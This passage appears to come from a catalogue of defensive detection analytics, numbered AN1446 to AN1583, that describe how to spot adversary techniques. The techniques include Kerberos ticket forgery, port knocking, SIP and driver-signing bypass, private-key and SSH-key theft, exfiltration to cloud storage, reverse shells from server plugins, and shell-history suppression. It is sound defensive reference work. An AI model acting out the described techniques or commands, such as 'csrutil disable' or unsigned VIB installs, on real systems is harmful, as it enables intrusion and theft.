Detects attempts to forge or replay Kerberos tickets by monitoring Unified Logs for anomalous kinit/klist activity and correlating unusual authentication sequences.


[AN1446] Analytic 1446

Current version: 1.0

Description:

Monitors execution of administrative utilities (e.g., bcdedit.exe) or registry modifications that disable Driver Signature Enforcement (DSE) or enable Test Signing. Correlates command-line activity, registry changes, and subsequent process executions that bypass signing enforcement.


[AN1447] Analytic 1447

Current version: 1.0

Description:

Detects modification of System Integrity Protection (SIP) or code signing enforcement policies through csrutil or kernel variable tampering. Correlates execution of csrutil disable commands with subsequent policy state changes and anomalous unsigned process executions.


[AN1448] Analytic 1448

Current version: 1.0

Description:

A remote host sends a short sequence of failed connection attempts (RST/ICMP unreachable) to a set of closed ports. Within a brief window the endpoint (a) adds/enables a firewall rule or (b) a sniffer-backed process begins listening or opens a new socket, after which a successful connection occurs. Also detects Wake-on-LAN magic packets seen on local segment.


[AN1449] Analytic 1449

Current version: 1.0

Description:

Closed-port knock sequence from a remote IP followed by on-host firewall change (iptables/nftables) or daemon starts listening (socket open) and a successful TCP/UDP connect. Optional detection of libpcap/raw-socket sniffers spawning to watch for secret values.


[AN1450] Analytic 1450

Current version: 1.0

Description:

Remote knock sequence followed by PF/socketfilterfw rule update or a background process listening on a new port; then a successful TCP session. Also flags WoL magic packets on local segment.


[AN1451] Analytic 1451

Current version: 1.0

Description:

Crafted ‘synful knock’ patterns toward routers/switches (same src hits interface/broadcast/network address on same port in short order) followed by ACL/telnet/SSH enablement or module change. Detect device image/ACL updates then a new mgmt session.


[AN1452] Analytic 1452

Current version: 1.0

Description:

Process creation and command-line execution of native system discovery utilities such as systeminfo, hostname, wmic, or use of PowerShell/WMI for system enumeration.


[AN1453] Analytic 1453

Current version: 1.0

Description:

Execution of system enumeration commands such as uname, df, uptime, hostname, lscpu, and cat /etc/os-release through local terminal or scripts.


[AN1454] Analytic 1454

Current version: 1.0

Description:

Execution of system info utilities like systemsetup, sw_vers, uname, or sysctl by terminal or scripted processes.


[AN1455] Analytic 1455

Current version: 1.0

Description:

Execution of esxcli system hostname get, esxcli system version get, or esxcli hardware commands through SSH or local shell.


[AN1456] Analytic 1456

Current version: 1.0

Description:

Use of cloud API calls (e.g., AWS EC2 DescribeInstances, Azure VM Inventory) to enumerate system configurations across assets.


[AN1457] Analytic 1457

Current version: 1.0

Description:

Execution of show version, show hardware, or show system commands through CLI via SSH or console.


[AN1458] Analytic 1458

Current version: 1.0

Description:

Detects adversarial archiving of files prior to exfiltration by correlating execution of compression/encryption utilities (e.g., makecab.exe, rar.exe, 7z.exe, powershell Compress-Archive) with subsequent creation of large compressed or encrypted files. Identifies abnormal process lineage involving crypt32.dll usage, command-line arguments invoking compression switches, and file write operations to temporary or staging directories.


[AN1459] Analytic 1459

Current version: 1.0

Description:

Detects adversarial archiving activity through invocation of utilities like tar, gzip, bzip2, or openssl used in non-administrative or unusual contexts. Correlates command execution patterns with file creation of compressed/encrypted outputs in staging directories (e.g., /tmp, /var/tmp).


[AN1460] Analytic 1460

Current version: 1.0

Description:

Detects use of macOS-native archiving or encryption tools (zip, ditto, hdiutil) for staging collected data. Identifies unexpected invocation of archive utilities by Office apps, browsers, or background daemons. Correlates file creation of .zip/.dmg containers with process lineage anomalies.


[AN1461] Analytic 1461

Current version: 1.0

Description:

Execution of files containing right-to-left override characters (U+202E) to masquerade true file extensions. Often found in phishing payloads or file downloads.


[AN1462] Analytic 1462

Current version: 1.0

Description:

Execution of files with reversed filename extensions using Unicode RTLO character. Frequently used to deceive Gatekeeper and users in Safari or Mail-based phishing.


[AN1463] Analytic 1463

Current version: 1.0

Description:

Execution of user-downloaded or created scripts with hidden extensions due to RTLO character insertion in filename, often present in desktop environments or phishing campaigns.


[AN1464] Analytic 1464

Current version: 1.0

Description:

Execution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote .sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.


[AN1465] Analytic 1465

Current version: 1.0

Description:

Unusual or suspicious processes loading critical native API DLLs (e.g., ntdll.dll, kernel32.dll) followed by direct syscall behavior, memory manipulation, or hollowing.


[AN1466] Analytic 1466

Current version: 1.0

Description:

Userland processes invoking syscall-heavy libraries (libc, glibc) followed by fork, mmap, or ptrace behavior commonly associated with code injection or memory manipulation.


[AN1467] Analytic 1467

Current version: 1.0

Description:

Execution of processes that link to CoreServices or Foundation APIs followed by creation of memory regions, code execution, or abnormal library injection.


[AN1468] Analytic 1468

Current version: 1.0

Description:

An SMB-based remote file share access followed by lateral movement actions such as remote service creation, task scheduling, or suspicious process execution on the target host using ADMIN$ or C$ shares.


[AN1469] Analytic 1469

Current version: 1.0

Description:

Addition of credentials (keys, app passwords, x.509 certs) to existing cloud accounts, service principals, or OAuth apps via portal or API by non-standard identities or IP ranges.


[AN1470] Analytic 1470

Current version: 1.0

Description:

Cloud API usage to create/import SSH keys or generate new access keys (CreateAccessKey, ImportKeyPair, CreateLoginProfile) from non-console access or unusual principals.


[AN1471] Analytic 1471

Current version: 1.0

Description:

Credential-related configuration changes in productivity apps, such as API key creation in Google Workspace, app tokens in Slack, or user-level OAuth credentials in M365.


[AN1472] Analytic 1472

Current version: 1.0

Description:

Detects behavioral sequence where an adversary gains elevated privileges and clears event logs using native binaries (e.g., wevtutil), PowerShell, or direct file deletion of .evtx files.


[AN1473] Analytic 1473

Current version: 1.0

Description:

Detects anomalous CI/CD workflow execution originating from forked repositories, with pull request (PR) metadata or commit messages containing suspicious patterns (e.g., encoded payloads), coupled with the use of insecure pipeline triggers like pull_request_target or excessive API usage of CI/CD secrets. Correlation with unusual artifact generation or secret exfiltration via encoded or external network destination URLs confirms suspicious behavior.


[AN1474] Analytic 1474

Current version: 1.0

Description:

Unauthorized modification of TCC.db followed by elevated process execution under a trusted parent (e.g., Finder, SystemUIServer) or via launchctl environment override. Also includes identification of SIP being disabled, which is highly uncommon and a prerequisite for this abuse path.


[AN1475] Analytic 1475

Current version: 1.0

Description:

Malicious VIB installation for persistence via esxcli software vib install using --force or --no-sig-check, enabling custom startup scripts or firewall rules. Behavior chain: (1) unsigned/suspicious VIB installation → (2) startup script or binary placed in persistent boot path → (3) persistence across reboot via /etc/rc.local.d or other boot hook).


[AN1476] Analytic 1476

Current version: 1.0

Description:

Detects anomalous wireless connections such as unexpected SSID associations, failed or repeated authentication attempts, and connections outside of known geofenced networks. Defenders should monitor wireless connection logs and event codes for network discovery, authentication, and association events.


[AN1477] Analytic 1477

Current version: 1.0

Description:

Detects unauthorized wireless associations by monitoring wpa_supplicant logs, NetworkManager events, and system calls related to interface state changes. Anomalies include repeated association failures, new SSIDs outside baselined values, and rogue AP connections.


[AN1478] Analytic 1478

Current version: 1.0

Description:

Detects unauthorized Wi-Fi associations and SSID scanning activity using unified logs and airport command telemetry. Anomalies include rapid SSID switching, connections to unapproved SSIDs, or repeated authentication failures.


[AN1479] Analytic 1479

Current version: 1.0

Description:

Detects rogue or suspicious wireless access attempts by monitoring firewall, WIDS/WIPS, and controller logs. Focus is on firewall rule changes, rogue AP detection, and anomalous MAC addresses connecting to access points.


[AN1480] Analytic 1480

Current version: 1.0

Description:

1) New or updated software is delivered/installed from atypical sources or with signature/hash mismatches; 2) installer/updater writes binaries to unexpected paths or replaces existing signed files; 3) first run causes unsigned/abnormally signed modules to load or child processes to execute, optionally followed by network egress to new destinations.


[AN1481] Analytic 1481

Current version: 1.0

Description:

1) Package manager or curl/wget installs/upgrades from non-approved repos or unsigned packages; 2) new ELF written into PATH directories or replacement of existing binaries/libraries; 3) first run leads to unexpected child processes or outbound connections.


[AN1482] Analytic 1482

Current version: 1.0

Description:

1) pkg/notarization installs from atypical sources or with Gatekeeper/AMFI warnings; 2) new Mach-O written into /Applications or ~/Library paths or substitution of signed components; 3) first run from installer spawns unsigned children or exfil.


[AN1483] Analytic 1483

Current version: 1.0

Description:

Processes such as plink.exe, ssh.exe, or netsh.exe establishing outbound network connections where traffic patterns show encapsulated protocols (e.g., RDP over SSH). Defender observations include anomalous process-to-network relationships, large asymmetric data flows, and port usage mismatches.


[AN1484] Analytic 1484

Current version: 1.0

Description:

sshd, socat, or custom binaries initiating port forwarding or encapsulating traffic (e.g., RDP, SMB) through SSH or HTTP. Defender sees abnormal connect/bind syscalls, encrypted traffic on ports typically used for non-encrypted services, and outlier traffic volume patterns.


[AN1485] Analytic 1485

Current version: 1.0

Description:

launchd or user-invoked processes (ssh, socat) encapsulating traffic via SSH tunnels, VPN-style tooling, or DNS-over-HTTPS clients. Defender sees outbound TLS traffic with embedded DNS or RDP payloads.


[AN1486] Analytic 1486

Current version: 1.0

Description:

VMware daemons or user processes encapsulating traffic (e.g., guest VMs tunneling via hostd). Defender sees network services inside ESXi creating flows inconsistent with management plane traffic, such as SSH forwarding or DNS-over-HTTPS from management interfaces.


[AN1487] Analytic 1487

Current version: 1.0

Description:

Detects suspicious OAuth application integrations within Office 365 or Google Workspace environments, such as new app registrations, unexpected consent grants, or privilege assignments. Defenders should correlate between application creation/modification events and associated user or service principal activity to identify persistence via app integrations.


[AN1488] Analytic 1488

Current version: 1.0

Description:

Detects anomalous SaaS application integration activity across environments such as Slack, Salesforce, or other enterprise SaaS services. Focus is on unauthorized app additions, unusual permission grants, and persistence through service principal tokens.


[AN1489] Analytic 1489

Current version: 1.0

Description:

Sustained execution of resource-intensive processes (e.g., cryptocurrency miners), often launched via scheduled tasks, WMI, or PowerShell. These processes frequently establish persistent external connections and attempt to evade detection using masqueraded or renamed binaries.


[AN1490] Analytic 1490

Current version: 1.0

Description:

Unusual long-running processes consuming high CPU cycles (e.g., via 'top' or 'ps') initiated via cron, shell scripts, or Docker. Connections to known mining pools or DNS over HTTPS usage as evasion.


[AN1491] Analytic 1491

Current version: 1.0

Description:

Persistent or background daemons (e.g., plist or launchd jobs) spawning high-CPU processes like xmrig or cpuminer. Outbound encrypted traffic to IPs/domains commonly used by mining proxies.


[AN1492] Analytic 1492

Current version: 1.0

Description:

Ephemeral or unauthorized container instantiation using public images (e.g., from DockerHub) that initiate high CPU usage shortly after startup. Often scheduled via Kubernetes or Docker socket abuse.


[AN1493] Analytic 1493

Current version: 1.0

Description:

Unauthorized instance creation in unmonitored or unused regions. Burst of compute-intensive jobs in spot instances or sudden spike in resource usage in legitimate VMs.


[AN1494] Analytic 1494

Current version: 1.0

Description:

Detects adversary behavior where a process enumerates and modifies another process's memory using /proc/[pid]/maps and /proc/[pid]/mem files. This includes identifying gadgets via memory mappings and overwriting process memory via low-level file modification or dd usage.


[AN1495] Analytic 1495

Current version: 1.0

Description:

Monitor registry modifications to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages or ...\OSConfig\Security Packages, especially insertions of new DLL entries. Correlate this with subsequent DLL module loads into lsass.exe. Track unsigned or anomalous DLLs loading into LSASS using image load auditing. LSASS loads unsigned DLL due to AuditLevel=8 registry configuration or System reboot followed by DLL load into lsass.exe


[AN1496] Analytic 1496

Current version: 1.0

Description:

Processes not typically associated with encryption loading asymmetric crypto libraries (e.g., rsaenh.dll, crypt32.dll) and subsequently initiating outbound TLS/SSL connections with abnormal certificate chains or handshakes. Defender correlates process creation, module load, and unusual encrypted sessions.


[AN1497] Analytic 1497

Current version: 1.0

Description:

Processes (e.g., bash, python, custom binaries) dynamically linking libcrypto/libssl for RSA key exchange, then creating external connections with abnormal certificate validation or handshake anomalies. Defender observes syscall traces and outbound asymmetric key exchanges from non-SSL-native processes.


[AN1498] Analytic 1498

Current version: 1.0

Description:

Applications or launchd services invoking RSA or public-key routines from the Security framework, followed by outbound SSL/TLS sessions with unrecognized certs or anomalous handshakes. Defender observes unified logs of API calls and suspicious network entropy.


[AN1499] Analytic 1499

Current version: 1.0

Description:

VMware services (hostd, vpxa) unexpectedly negotiating asymmetric crypto sessions to external endpoints outside vCenter or update servers. Defender sees encrypted handshakes in logs inconsistent with baseline ESXi communication patterns.


[AN1500] Analytic 1500

Current version: 1.0

Description:

Encrypted sessions detected with asymmetric key exchange anomalies on non-standard ports or with invalid/malformed certs. Defender correlates NetFlow/IPFIX with IDS/IPS detecting RSA exchanges outside expected TLS flows.


[AN1501] Analytic 1501

Current version: 1.0

Description:

Detects adversary abuse of Transactional NTFS (TxF) and undocumented process loading mechanisms (e.g., NtCreateProcessEx) to create a hollowed process from an uncommitted, maliciously tainted file image in memory, later executed via NtCreateThreadEx.


[AN1502] Analytic 1502

Current version: 1.0

Description:

Monitor for suspicious use of cloud-native administrative command services (e.g., AWS Systems Manager Run Command, Azure RunCommand, GCP OS Config) to execute code inside VMs. Detect anomalies such as commands/scripts executed by unexpected users, execution outside of maintenance windows, or commands initiated by service accounts not normally tied to administration. Correlate cloud control-plane activity logs with host-level execution (process creation, script execution) to validate if commands materialized inside the guest OS.


[AN1503] Analytic 1503

Current version: 1.0

Description:

Detects anomalous authentication activity such as sign-ins from impossible geolocations or legacy protocols from high-privileged accounts.


[AN1504] Analytic 1504

Current version: 1.0

Description:

Detects cloud account use for API calls that exceed normal scope, such as IAM changes or access to services never used before.


[AN1505] Analytic 1505

Current version: 1.0

Description:

Detects unexpected access or usage of cloud productivity tools (e.g., downloading large numbers of files, creating external shares) by internal users.


[AN1506] Analytic 1506

Current version: 1.0

Description:

Detects login and usage patterns deviating from typical Microsoft 365 or Google Workspace user profiles.


[AN1507] Analytic 1507

Current version: 1.0

Description:

Installation of malicious IIS/Apache/SQL server modules that later execute command-line interpreters or establish outbound connections.


[AN1508] Analytic 1508

Current version: 1.0

Description:

Abuse of extensible server modules (e.g., Apache, Nginx, Tomcat) to load rogue plugins that initiate bash, connect to C2, or spawn reverse shells.


[AN1509] Analytic 1509

Current version: 1.0

Description:

Malicious use of webserver plugins (e.g., for nginx, PHP, Node.js) that execute AppleScript or open network sockets.


[AN1510] Analytic 1510

Current version: 1.0

Description:

Use of ESXi web interface plugins or vSphere extensions to embed persistent malicious scripts or services.


[AN1511] Analytic 1511

Current version: 1.0

Description:

Processes that normally do not initiate network communications suddenly making outbound HTTPS connections with high outbound-to-inbound data ratios. Defender view: correlation between process creation logs (e.g., Word, Excel, PowerShell) and subsequent anomalous network traffic volumes toward common web services (Dropbox, Google Drive, OneDrive).


[AN1512] Analytic 1512

Current version: 1.0

Description:

Processes (tar, curl, python scripts) accessing large file sets and initiating outbound HTTPS POST requests with payload sizes inconsistent with baseline activity. Defender perspective: detect abnormal sequence of file archival followed by encrypted uploads to external web services.


[AN1513] Analytic 1513

Current version: 1.0

Description:

Office apps or scripts writing files followed by xattr manipulation (to evade quarantine) and subsequent HTTPS uploads. Defender perspective: anomalous file modification + outbound TLS traffic originating from non-networking apps (Word, Excel, Preview).


[AN1514] Analytic 1514

Current version: 1.0

Description:

Abnormal API calls from user accounts invoking file upload endpoints outside normal baselines (M365, Google Drive, Box). Defender perspective: monitor unified audit logs for elevated frequency of Upload, Create, or Copy operations from compromised accounts.


[AN1515] Analytic 1515

Current version: 1.0

Description:

ESXi guest OS or management interface processes establishing unexpected external HTTPS connections. Defender perspective: monitor vmx or hostd processes making outbound web requests with significant data transfer.


[AN1516] Analytic 1516

Current version: 1.0

Description:

A process (non-system or user-initiated) accesses private key files in user profile paths or system certificate stores followed by potential network connections or compression activity.


[AN1517] Analytic 1517

Current version: 1.0

Description:

User or script-based access to ~/.ssh or other directories containing private keys followed by unusual shell activity or network connections.


[AN1518] Analytic 1518

Current version: 1.0

Description:

Access to user private key directories (e.g., /Users/*/.ssh) via Terminal, scripting engines, or non-default processes.


[AN1519] Analytic 1519

Current version: 1.0

Description:

CLI-based export of private key material (e.g., 'crypto pki export') with anomalous user session or AAA role escalation.


[AN1520] Analytic 1520

Current version: 1.0

Description:

Anomalous high-volume access to customer records in CRM software by a non-CRM admin user account, especially following initial authentication from a rare location or device. Behavior includes abnormal access to PII fields or data exports within a short time window.


[AN1521] Analytic 1521

Current version: 1.0

Description:

Series of authentication failures (Event ID 4625) targeting the same or similar user accounts over time from one or more remote IPs


[AN1522] Analytic 1522

Current version: 1.0

Description:

Repeated failed SSH login attempts followed by a possible success from the same remote host


[AN1523] Analytic 1523

Current version: 1.0

Description:

Series of failed logins from loginwindow or sshd with repeated usernames or password prompts


[AN1524] Analytic 1524

Current version: 1.0

Description:

Multiple failed sign-in attempts from external sources across many users followed by success from the same IP


[AN1525] Analytic 1525

Current version: 1.0

Description:

Login attempt failures over SNMP, Telnet, or SSH interface, often reflected in logs or syslog events


[AN1526] Analytic 1526

Current version: 1.0

Description:

Password guessing attempts against web-based apps (e.g., Dropbox, Google Workspace) reflected in API or sign-in logs


[AN1527] Analytic 1527

Current version: 1.0

Description:

Detects creation or modification of Windows Services through command-line tools (e.g., sc.exe, powershell.exe), Registry key changes under HKLM\System\CurrentControlSet\Services, and service execution under SYSTEM with unsigned or anomalous binary paths. Detects privilege escalation via driver installation or CreateServiceW usage. Correlates parent-child lineage, startup behavior, and rare service names.


[AN1528] Analytic 1528

Current version: 1.0

Description:

Detects the creation or execution of padded binary files (e.g., large size but minimal legitimate content) followed by process execution or lateral movement from the host.


[AN1529] Analytic 1529

Current version: 1.0

Description:

Detects abnormal creation of binary files with significant size that are subsequently executed or accessed by non-standard users.


[AN1530] Analytic 1530

Current version: 1.0

Description:

Monitors for anomalous binary files written to disk with padded size and subsequent execution by user or service context.


[AN1531] Analytic 1531

Current version: 1.0

Description:

Detection of non-interactive or suspicious processes accessing Bluetooth interfaces and transmitting outbound traffic following file access or staging activity.


[AN1532] Analytic 1532

Current version: 1.0

Description:

Use of hcitool, bluetoothctl, or rfcomm to initialize Bluetooth connection paired with recent file reads by the same user or session.


[AN1533] Analytic 1533

Current version: 1.0

Description:

Observation of blueutil/networksetup commands or low-level APIs toggling Bluetooth or initiating transfers, especially if paired with recent large file read activity by non-GUI processes.


[AN1534] Analytic 1534

Current version: 1.0

Description:

Detection focuses on identifying unauthorized file creation or modification within /etc/emond.d/rules/ or /private/var/db/emondClients, which indicate attempts to register a malicious emond rule. Correlate with process execution of /sbin/emond and any launched commands it invokes, especially during boot or login events. Anomalies may include rules created by non-root users or unexpected shell commands executed by emond.


[AN1535] Analytic 1535

Current version: 1.0

Description:

MSBuild.exe is invoked outside expected developer/build contexts or with anomalous arguments (e.g., non-canonical paths, remote shares, Base64/obfuscated property values). Within a short window, it (a) spawns high-risk LOLBins/script interpreters, (b) writes new PE/DLL/script artifacts into user-writable paths and executes them, (c) loads unsigned/user-writable modules, (d) performs memory injection/thread creation into other processes, and/or (e) initiates outbound network connections.


[AN1536] Analytic 1536

Current version: 1.0

Description:

Registry key modification to AppInit_DLLs value followed by anomalous DLL loading by processes importing user32.dll, especially unsigned or uncommon DLLs, suggesting unauthorized AppInit persistence or privilege escalation.


[AN1537] Analytic 1537

Current version: 1.0

Description:

Detects suspicious use of ESXi native CLI tools like esxcli and vim-cmd by unauthorized users or outside expected maintenance windows. Focus is on actions such as stopping VMs, reconfiguring network/firewall settings, and enabling SSH or logging.


[AN1538] Analytic 1538

Current version: 1.0

Description:

Correlate process execution of shutdown/reboot commands (e.g., shutdown.exe, restart-computer) with host status change logs (Event IDs 1074, 6006) and absence of related administrative context (e.g., user not in Helpdesk group).


[AN1539] Analytic 1539

Current version: 1.0

Description:

Detect 'shutdown', 'reboot', or 'systemctl poweroff' executions with auditd/syslog and absence of scheduled maintenance windows or approved user context.


[AN1540] Analytic 1540

Current version: 1.0

Description:

Identify use of 'shutdown', 'reboot', or 'osascript' system shutdown invocations within unified logs and track unexpected shutdown sequences initiated by GUI or script. Cross-reference with user activity or absence thereof.


[AN1541] Analytic 1541

Current version: 1.0

Description:

Detect commands such as 'esxcli system shutdown' or 'vim-cmd vmsvc/power.shutdown' executed outside of maintenance windows or via unusual users. Reboot logs in hostd.log and shell logs should be correlated.


[AN1542] Analytic 1542

Current version: 1.0

Description:

Monitor CLI 'reload' commands issued without scheduled maintenance, and correlate to TACACS+/AAA logs for privilege validation.


[AN1543] Analytic 1543

Current version: 1.0

Description:

Detection of compromised or misused valid accounts via anomalous logon patterns, abnormal logon types, and inconsistent geographic or time-based activity across Windows endpoints.


[AN1544] Analytic 1544

Current version: 1.0

Description:

Detection of valid account misuse through SSH logins, sudo/su abuse, and service account anomalies outside expected patterns.


[AN1545] Analytic 1545

Current version: 1.0

Description:

Detection of interactive and remote logins by service accounts or users at unusual times, with unexpected child process activity.


[AN1546] Analytic 1546

Current version: 1.0

Description:

Detection of valid account abuse in IdP logs via geographic anomalies, impossible travel, risky sign-ins, and multiple MFA attempts or failures.


[AN1547] Analytic 1547

Current version: 1.0

Description:

Detection of containerized service accounts or compromised kubeconfigs being used for cluster access from unexpected nodes or IPs.


[AN1548] Analytic 1548

Current version: 1.0

Description:

Adversary installs or side-loads an IDE extension (VS Code, IntelliJ/JetBrains, Eclipse) or enables IDE tunneling. Chain: (1) IDE binary starts on a non-developer endpoint or server, often with install/force/tunnel flags → (2) extension files/registrations appear under user profile → (3) browser/IDE initiates outbound connections to extension marketplaces, update endpoints, or IDE remote/tunnel services → (4) optional child tools (ssh, node, powershell) execute under the IDE context.


[AN1549] Analytic 1549

Current version: 1.0

Description:

Adversary installs or abuses IDE extensions via CLI or direct write to profile directories and then communicates with marketplaces or remote tunnel services. Chain: auditd execve (code/idea/eclipse) with install/update flags or writes under ~/.vscode/extensions, ~/.config/JetBrains → outbound flows to .visualstudio.com, marketplace.visualstudio.com, .jetbrains.com, githubusercontent.com, or SSH/WebSocket tunnel endpoints → optional ssh/node processes spawned by IDE.


[AN1550] Analytic 1550

Current version: 1.0

Description:

Adversary adds IDE extensions or plugins (VS Code, JetBrains Toolbox/EAP, Eclipse) via GUI or CLI, possibly via managed profiles. Chain: process start with install/update flags → plist/extension folder changes under ~/Library/Application Support/Code or ~/Library/Application Support/JetBrains → outbound connections to marketplaces/tunnel services → optional helper (ssh/node) spawned.


[AN1551] Analytic 1551

Current version: 1.0

Description:

Windows environmental validation behavioral chain: (1) Rapid system discovery reconnaissance through WMI queries, registry enumeration, and network share discovery, (2) Environment-specific artifact collection (hostname, domain, IP addresses, installed software, hardware identifiers), (3) Cryptographic operations or conditional logic based on collected environmental values, (4) Selective payload execution contingent on environmental validation results, (5) Temporal correlation between discovery activities and subsequent execution or network communication


[AN1552] Analytic 1552

Current version: 1.0

Description:

Linux environmental validation behavioral chain: (1) Intensive system enumeration through command execution (uname, hostname, ifconfig, lsblk, mount), (2) File system reconnaissance targeting specific paths, network configurations, and installed packages, (3) Process and user enumeration to validate target environment characteristics, (4) Conditional script execution or binary activation based on environmental criteria, (5) Network connectivity validation and external IP address resolution for geolocation verification


[AN1553] Analytic 1553

Current version: 1.0

Description:

macOS environmental validation behavioral chain: (1) System profiling through system_profiler, sysctl, and hardware discovery commands, (2) Network interface and configuration enumeration for geolocation and network environment validation, (3) Application installation and version discovery for software environment fingerprinting, (4) Security feature detection (SIP, Gatekeeper, XProtect status), (5) Conditional payload execution based on macOS-specific environmental criteria and System Integrity Protection bypass validation


[AN1554] Analytic 1554

Current version: 1.0

Description:

ESXi hypervisor environmental validation behavioral chain: (1) Virtual machine inventory and configuration enumeration through vim-cmd and esxcli commands, (2) Host hardware and network configuration discovery for hypervisor environment validation, (3) Datastore and storage configuration reconnaissance, (4) vCenter connectivity and cluster membership validation, (5) Selective malware deployment based on virtualization infrastructure characteristics and target VM validation


[AN1555] Analytic 1555

Current version: 1.0

Description:

Detection of environment variable tampering (HISTFILE, HISTCONTROL, HISTFILESIZE) and absence of expected bash history writes. Correlation of unset or zeroed history variables with active shell sessions is indicative of adversarial evasion.


[AN1556] Analytic 1556

Current version: 1.0

Description:

Detection of bash/zsh history suppression via HISTFILE/HISTCONTROL manipulation and absence of ~/.bash_history updates. Observing environment variable changes tied to terminal processes is a strong indicator.


[AN1557] Analytic 1557

Current version: 1.0

Description:

Detection of PowerShell history suppression using Set-PSReadLineOption with SaveNothing or altered HistorySavePath. Correlating these options with PowerShell usage highlights adversarial evasion attempts.


[AN1558] Analytic 1558

Current version: 1.0

Description:

Detection of unset HISTFILE or modified history variables in ESXi shell sessions. Correlation of suspicious shell sessions with no recorded commands despite active usage.


[AN1559] Analytic 1559

Current version: 1.0

Description:

Detection of CLI commands that disable history logging such as 'no logging'. Anomalous lack of new commands in session logs while activity persists is a strong signal.


[AN1560] Analytic 1560

Current version: 1.0

Description:

Processes executing binaries named after legitimate system utilities (e.g., net.exe, findstr.exe, python.exe) from non-standard or application-specific directories, combined with file creation or modification events for such binaries. Defender correlates file writes in vulnerable directories, process execution paths inconsistent with baseline system paths, and abnormal parent-child relationships in process lineage.


[AN1561] Analytic 1561

Current version: 1.0

Description:

Registry access to system language keys (e.g., HKLM\SYSTEM\CurrentControlSet\Control\Nls\Language) or suspicious processes invoking locale-related APIs (e.g., GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList). Defender visibility focuses on anomalous or non-standard processes issuing these queries, especially when run by unknown binaries or scripts.


[AN1562] Analytic 1562

Current version: 1.0

Description:

Processes executing commands to query system locale and language settings, such as 'locale', 'echo $LANG', or parsing environment variables. Suspicious activity is indicated by these commands being run by unusual users, automation scripts, or non-administrative processes.


[AN1563] Analytic 1563

Current version: 1.0

Description:

Execution of commands to query system locale and language settings, such as 'defaults read -g AppleLocale' or 'systemsetup -gettimezone'. Unusual parent processes or execution contexts of these commands may indicate adversarial discovery.


[AN1564] Analytic 1564

Current version: 1.0

Description:

Detection of Office or document viewer processes (e.g., winword.exe) initiating network connections to remote templates or executing scripts due to manipulated template references (e.g., embedded in .docx, .rtf, or .dotm files), followed by suspicious child process creation (e.g., PowerShell).


[AN1565] Analytic 1565

Current version: 1.0

Description:

Atypical access to Slack or Teams conversations via APIs, automation tokens, or bulk message export functionality, particularly after an account takeover or rare sign-in pattern. Often includes mass retrieval of chat history, download of message content, or scraping of workspace/channel metadata.


[AN1566] Analytic 1566

Current version: 1.0

Description:

Suspicious access to Microsoft Teams chat messages via eDiscovery, Graph API, or export methods after rare or compromised sign-in. Often associated with excessive file access, sensitive content review, or anomaly from expected user behavior.


[AN1567] Analytic 1567

Current version: 1.0

Description:

Detects suspicious USB HID device enumeration and keystroke injection patterns, such as rapid sequences of input with no user context, scripts executed through simulated keystrokes, or rogue devices presenting themselves as keyboards.


[AN1568] Analytic 1568

Current version: 1.0

Description:

Detects USB HID device enumeration under /sys/bus/usb/devices/ and rapid keystroke injection resulting in command execution such as bash or Python scripts launched without interactive user activity.


[AN1569] Analytic 1569

Current version: 1.0

Description:

Detects abnormal HID device enumeration via I/O Registry (ioreg -p IOUSB) and keystroke injection targeting AppleScript, osascript, or PowerShell equivalents. Defender correlates new USB device connections with rapid script execution.


[AN1570] Analytic 1570

Current version: 1.0

Description:

Defenders may observe adversary attempts to downgrade system images by monitoring for anomalous file transfers of OS image files (via TFTP, FTP, SCP), configuration changes pointing boot system variables to older image files, unexpected OS version strings after reboot, and checksum mismatches against approved baseline images. Suspicious chains include transfer of an older image, alteration of boot configuration, and reboot/reload of the device. Adversaries may also tamper with CLI output to disguise downgrade attempts, requiring independent validation of OS version and integrity.


[AN1571] Analytic 1571

Current version: 1.0

Description:

Unusual processes (e.g., powershell.exe, excel.exe) accessing large local files and subsequently initiating HTTPS POST requests to domains associated with cloud storage services (e.g., dropbox.com, drive.google.com, box.com). Defender perspective: correlation between file reads in sensitive directories and high outbound traffic volume to known storage APIs.


[AN1572] Analytic 1572

Current version: 1.0

Description:

Processes such as curl, wget, rclone, or custom scripts executing uploads to cloud storage endpoints. Defender perspective: detect chained events where tar/gzip is executed to compress files followed by HTTPS PUT/POST requests to known storage services.


[AN1573] Analytic 1573

Current version: 1.0

Description:

Applications or scripts invoking cloud storage APIs (Dropbox sync, iCloud, Google Drive client) in unexpected contexts. Defender perspective: detect sensitive file reads by non-standard applications followed by unusual encrypted uploads to external cloud storage domains.


[AN1574] Analytic 1574

Current version: 1.0

Description:

Unusual ESXi processes (vmx, hostd) reading datastore files and generating outbound HTTPS traffic toward external cloud storage endpoints. Defender perspective: anomalous datastore activity followed by network transfers to Dropbox, AWS S3, or other storage services.


[AN1575] Analytic 1575

Current version: 1.0

Description:

Detects command-line or API-based creation/modification of Windows Services via sc.exe, powershell.exe, services.exe, or ChangeServiceConfig. Looks for creation/modification of autostart services via registry changes, file drops to System32\services, and anomalous parent-child process trees.


[AN1576] Analytic 1576

Current version: 1.0

Description:

Detects creation or modification of systemd service units, addition of cron jobs that invoke binaries on boot, or suspicious writes to /etc/init.d/. Monitors chmod +x and systemctl execution paths, especially from non-root parent processes.


[AN1577] Analytic 1577

Current version: 1.0

Description:

Detects creation or modification of LaunchDaemon or LaunchAgent plist files under /Library/LaunchDaemons/, ~/Library/LaunchAgents/, or similar. Monitors execution of launchctl, property list edits, and file permission changes.


[AN1578] Analytic 1578

Current version: 1.0

Description:

Detects creation of new container system processes via docker run --restart, kubectl exec to init containers, or modification of container init specs. Flags container images that override entrypoints to embed persistence behaviors.


[AN1579] Analytic 1579

Current version: 1.0

Description:

Detects assignment of high-privilege roles to user or service accounts via Kubernetes RoleBinding or ClusterRoleBinding objects, especially outside of CI/CD automation or from unknown IPs.


[AN1580] Analytic 1580

Current version: 1.0

Description:

Detects snapshot sharing, backup exports, or data object transfers from victim-owned cloud accounts to other cloud identities within the same provider (e.g., AWS, Azure) using snapshot sharing, S3 bucket policy updates, or SAS URI generation.


[AN1581] Analytic 1581

Current version: 1.0

Description:

Detects user activity that shares or syncs files with external domains via link generation, OneDrive external sharing, or file transfer actions involving non-whitelisted partner tenants.


[AN1582] Analytic 1582

Current version: 1.0

Description:

Detects use of built-in SaaS sharing mechanisms to transfer ownership or share access of critical data to external tenants or untrusted users through API calls or link generation features.


[AN1583] Analytic 1583

Current version: 1.0

Description:

